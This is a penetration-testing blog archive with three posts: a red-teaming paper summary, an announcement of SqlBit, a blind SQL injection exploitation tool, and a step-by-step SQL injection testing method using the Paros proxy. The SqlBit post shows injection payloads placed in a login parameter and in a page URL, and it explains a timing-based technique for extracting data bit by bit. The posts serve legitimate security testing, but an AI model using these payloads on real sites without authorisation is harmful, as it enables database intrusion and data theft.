Archive for penetration testing

Red Teaming Usage for Assessing Information Security

Posted in Cyber Defense with tags , , , on December 23, 2010 by stormsecurity

Red Teaming of information systems is an advanced form of assessment performed by a team of highly skilled penetration testers and security specialists.

Considerations about Red Teaming Usage in Assessing Information Assurance is an article that I have recently written and presented to SECITC 2010 security conferece. Please find below the abstract and table of contents which should increase your interest for reading it.

Abstract: Red Teaming is an advanced form of assessment that models and simulates adversary actions with the overall purpose of discovering target’s weaknesses and improving its defenses. Also known as ethical hacking, penetration testing or security assessment, Red Teaming of information systems offers reliable information about the effectiveness of defense mechanisms implemented. The paper presents the Red Teaming process from both perspectives: the client and the assessor, covering various aspects like: motivation, assessment types, client benefits, client risks, assessment planning, team organization, attack preparation, execution and reporting.

Contents:

  1. Introduction
  2. What is Red Teaming?
  3. Red Teaming assessment from the client’s perspective
    • Why should an organization use a Red Teaming assessment?
    • When is the best time to use a Red Teaming assessment?
    • What are the benefits for the client?
    • What are the risks for the client?
    • What type of assessment should be chosen?
    • Who can be the target?
  4. Red Teaming assessment from the provider’s perspective
    • Define assessment objectives
    • Assemble the Red Team
    • Reverse engineer the target
    • Create and validate attack trees
    • Assign Red Team members to attacks
    • Prepare tools and methods
    • Perform collaborative attacks
    • Create the report
    • Explain report to client
  5. Conclusions

SqlBit – a new blind SQL injection exploiter

Posted in Tools (StormSecurity) with tags , , on October 8, 2009 by stormsecurity

SqlBit is a tool that can be used to execute arbitrary queries on a MySQL database and view the results by exploiting a blind SQL injection vulnerability on the web application that uses that database. It extracts data bit by bit. SqlBit can be downloaded and used freely from here.

You can run SqlBit like this:

perl    sqlbit.pl    “arbitrary SQL query”

Example:

perl    sqlbit.pl    “SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’ “

This application was written in Perl so it can run anywhere you have a Perl interpreter (Windows, Linux, etc). It is fully customizable by using a configuration file config.txt where you can set many parameters from the HTTP request. The configuration file looks like this:

HTTP_Method=POST
URL=http://www.vulnerabile-site.com/login.php
HTTP_VERSION=HTTP/1.1
Host=www.vulnerabile-site.com
User-Agent=Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11 (.NET CLR 3.5.30729) Paros/3.2.13
Accept=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language=en-us
Accept-Charset=ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive=300
Proxy-Connection=keep-alive
Referer=http://www.vulnerabile-site.com/index.php
Cookie=PHPSESSID=776a2e7181af170e7d57f51773b9527b
Content-Type=application/x-www-form-urlencoded
Content-Length=21
param: user=j’ and ($SQL$) — ‘
param: password=xxx

You can see that SqlBit requires a place where it can put a valid SQL query. You should previously test that this query gets executed successfully. This place must be specified by the string $SQL$.

That’s all about the functionality of SqlBit. If you want to know more, here is some background information:

During some of my pentests I encountered blind SQL injection vulnerabilities. I tried to use a few tools that were supposed to exploit them but none of them reached my expectations. So I decided to write my own tool and here it is.

As you may already know, blind SQL injection is when you can’t see the result of a query but it gets executed successfully on the server side. For instace:

httx://www.vulnerable-site.com/view.jsp?page=13′ limit 0 union select 1,2,3 from dual where 1 — ‘

This can be specified in SqlBit configuration file as:

param: page=13′ limit 0 union select 1,2,3 from dual where $SQL$ — ‘

If the URL above produces the same output as the legitimate URL:

httx://www.vulnerable-site.com/view.jsp?page=13

it might be because the parameter page is not filtered correctly and we can inject SQL commands. But we cannot always see the output of our SQL commands because of the application internal logic or other reasons.

In this case we can use a timing attack that is based on this MySQL query:

SELECT IF (expresion, true, false)

where expression is a query that returns true or false. In the true case we can sleep (BENCHMARK) a certain amount of time while in the false case we return directly. This way we are able to know if a bit of data is 0 or 1.

By automating the requests, we can extract data from the database bit by bit.

Enjoy!

Procedural SQL injection

Posted in How To with tags , , , , on October 15, 2008 by stormsecurity

How do you perform a complete SQL injection test on a web site?

As a penetration tester, I often had to test the security of various sites. One of the problems I have seen during those tests was that the results given by me were not 100% complete. I succeeded in finding many SQL injection bugs but sometimes not all of them. So I have developed a methodology that can be used to do thorough SQL injection tests.

My opinion is that automatic tools cannot find all SQL injection bugs, but only the superficial ones. Their results must be completed by manual tests that exploit the logic of the application and the flow of data within the application.

During the tests I use Paros as the automatic helper tool. It is a very good local web proxy that has MITM, spider and scanner capabilities. The steps to do an SQL injection test are:

  1. Start Paros and configure your web browser to use it as a proxy (localhost:8080). From now on, every request made by your browser will pass through Paros and you will be able to see it, resend it or modify it (including the “hidden” requests).
  2. The testing architecture looks like this:
  3. Start browsing manually the targeted website
    • Find as many forms as you can and submit them with random data
    • You can use the Site Map (if it exists) to identify the interactive pages (ex. Search, Contact, Feedback, Ask a question) and submit data
    • All the requests that you do will be memorized by Paros
  4. Use the Spider utility from Paros to do an automatic crawling in order to find as many pages as it can from that web site
    • Step 2 is necessary because Paros does not always find all the site pages and because it uses the pages already discovered to crawl them too
  5. Do an SQL injection scan with Paros
    • Chance the Scan Policy to include only SQL injection and SQL injection fingerprinting
    • Start the Scan
    • Paros will try to call all the dynamic pages that it has already found with parameters according to the Scan Policy
  6. Now comes the part that requires true skills
    • Analyse the alerts found by Paros
    • See what are the pages and parameters that allow injection
    • Reproduce manually the injection
    • Try to exploit the bug and find real information from the backed database
    • Categorize the vulnerability based on its impact (what can you do with it)
      • HIGH – allows extraction of information from the database (in band or out of band)
      • MEDIUM – allows the attacker to see application error messages but it is not obvious how it can be used to extract information from the database
      • LOW – produces an application dis-functionality but it does not give any error messages nor can be used to extract information from the database
  7. In order to find other SQL injection bugs, you must understand the logic of the application and try to “reverse-engineer” it. Think about how the programmer wrote the application and identify the vulnerable points.
  8. Write a detailed report on the vulnerabilities found and the ways they can be exploited in order to affect the information from the database and the functionality of the website.

I also found very useful some SQL injection cheat sheets for different databases like this and this.